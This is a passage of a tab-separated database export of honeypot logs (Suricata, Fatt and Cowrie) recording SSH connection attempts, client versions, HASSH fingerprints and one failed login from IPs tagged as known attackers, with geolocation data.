24700	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:09:18.702787+03	2021-09-20 14:15:09.136472+03	{"_id": "vwblAnwBvYTbRNuEXxaW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1502192391309504, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58742, "dest_port": 22, "timestamp": "2021-09-20T11:09:18.702787Z", "@timestamp": "2021-09-20T11:09:18.702Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
24701	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:19.081347+03	2021-09-20 14:15:09.137471+03	{"_id": "wgblAnwBvYTbRNuEYBaa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 54786, "timestamp": "2021-09-20T11:09:19.081347", "@timestamp": "2021-09-20T11:09:19.081Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24702	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:09:18.430444+03	2021-09-20 14:15:09.138471+03	{"_id": "wQblAnwBvYTbRNuEYBaa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58742, "timestamp": "2021-09-20T11:09:18.430444", "@timestamp": "2021-09-20T11:09:18.430Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
24703	123.124.200.114	109.199.241.180	Fatt	2021-09-20 14:09:19.152038+03	2021-09-20 14:15:09.13947+03	{"_id": "xQblAnwBvYTbRNuEYBaa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "123.124.200.114", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 3732, "dest_port": 22, "timestamp": "2021-09-20T11:09:19.152038", "@timestamp": "2021-09-20T11:09:19.152Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
24704	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:18.42556+03	2021-09-20 14:15:09.14147+03	{"_id": "xgblAnwBvYTbRNuEYRY_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:58742 (192.168.176.2:22) [session: 4fddfc18cf82]", "session": "4fddfc18cf82", "@version": "1", "protocol": "ssh", "src_port": 58742, "dest_port": 22, "timestamp": "2021-09-20T11:09:18.425560Z", "@timestamp": "2021-09-20T11:09:18.425Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24705	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:09:18.800929+03	2021-09-20 14:15:09.14247+03	{"_id": "xwblAnwBvYTbRNuEYRY_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 123.124.200.114:3732 (192.168.176.2:22) [session: 1ac359587dfc]", "session": "1ac359587dfc", "@version": "1", "protocol": "ssh", "src_port": 3732, "dest_port": 22, "timestamp": "2021-09-20T11:09:18.800929Z", "@timestamp": "2021-09-20T11:09:18.800Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24706	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:18.848401+03	2021-09-20 14:15:09.14347+03	{"_id": "yAblAnwBvYTbRNuEYRY_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:37122 (192.168.176.2:22) [session: 51853037cdee]", "session": "51853037cdee", "@version": "1", "protocol": "ssh", "src_port": 37122, "dest_port": 22, "timestamp": "2021-09-20T11:09:18.848401Z", "@timestamp": "2021-09-20T11:09:18.848Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
24707	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:19.076579+03	2021-09-20 14:15:09.14447+03	{"_id": "yQblAnwBvYTbRNuEYRY_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:54786 (192.168.176.2:22) [session: b9437f1f38e0]", "session": "b9437f1f38e0", "@version": "1", "protocol": "ssh", "src_port": 54786, "dest_port": 22, "timestamp": "2021-09-20T11:09:19.076579Z", "@timestamp": "2021-09-20T11:09:19.076Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24708	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:19.214137+03	2021-09-20 14:15:09.14547+03	{"_id": "ygblAnwBvYTbRNuEYRY_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:32984 (192.168.176.2:22) [session: c73c35c6a2a5]", "session": "c73c35c6a2a5", "@version": "1", "protocol": "ssh", "src_port": 32984, "dest_port": 22, "timestamp": "2021-09-20T11:09:19.214137Z", "@timestamp": "2021-09-20T11:09:19.214Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
24709	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:18.428344+03	2021-09-20 14:15:09.14747+03	{"_id": "4AblAnwBvYTbRNuEYRY_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4fddfc18cf82", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:18.428344Z", "@timestamp": "2021-09-20T11:09:18.428Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24710	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:09:18.698122+03	2021-09-20 14:15:09.148471+03	{"_id": "4QblAnwBvYTbRNuEYRY_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [top/top] failed", "session": "d9b5709f7100", "@version": "1", "password": "top", "username": "top", "timestamp": "2021-09-20T11:09:18.698122Z", "@timestamp": "2021-09-20T11:09:18.698Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
24711	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:18.708745+03	2021-09-20 14:15:09.150471+03	{"_id": "4gblAnwBvYTbRNuEYRY_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "4fddfc18cf82", "@version": "1", "timestamp": "2021-09-20T11:09:18.708745Z", "@timestamp": "2021-09-20T11:09:18.708Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
24712	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:09:18.803642+03	2021-09-20 14:15:09.151471+03	{"_id": "4wblAnwBvYTbRNuEYRY_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "1ac359587dfc", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:09:18.803642Z", "@timestamp": "2021-09-20T11:09:18.803Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24713	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:18.864692+03	2021-09-20 14:15:09.152471+03	{"_id": "5AblAnwBvYTbRNuEYRY_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "51853037cdee", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:18.864692Z", "@timestamp": "2021-09-20T11:09:18.864Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
24714	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:19.04831+03	2021-09-20 14:15:09.15347+03	{"_id": "5QblAnwBvYTbRNuEYRY_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "aa41b5de45d6", "@version": "1", "duration": 2.5254461765289307, "timestamp": "2021-09-20T11:09:19.048310Z", "@timestamp": "2021-09-20T11:09:19.048Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
24715	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:09:19.079237+03	2021-09-20 14:15:09.15547+03	{"_id": "5gblAnwBvYTbRNuEYRY_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "b9437f1f38e0", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:19.079237Z", "@timestamp": "2021-09-20T11:09:19.079Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
24716	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:09:19.152669+03	2021-09-20 14:15:09.15647+03	{"_id": "5wblAnwBvYTbRNuEYRY_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "1ac359587dfc", "@version": "1", "timestamp": "2021-09-20T11:09:19.152669Z", 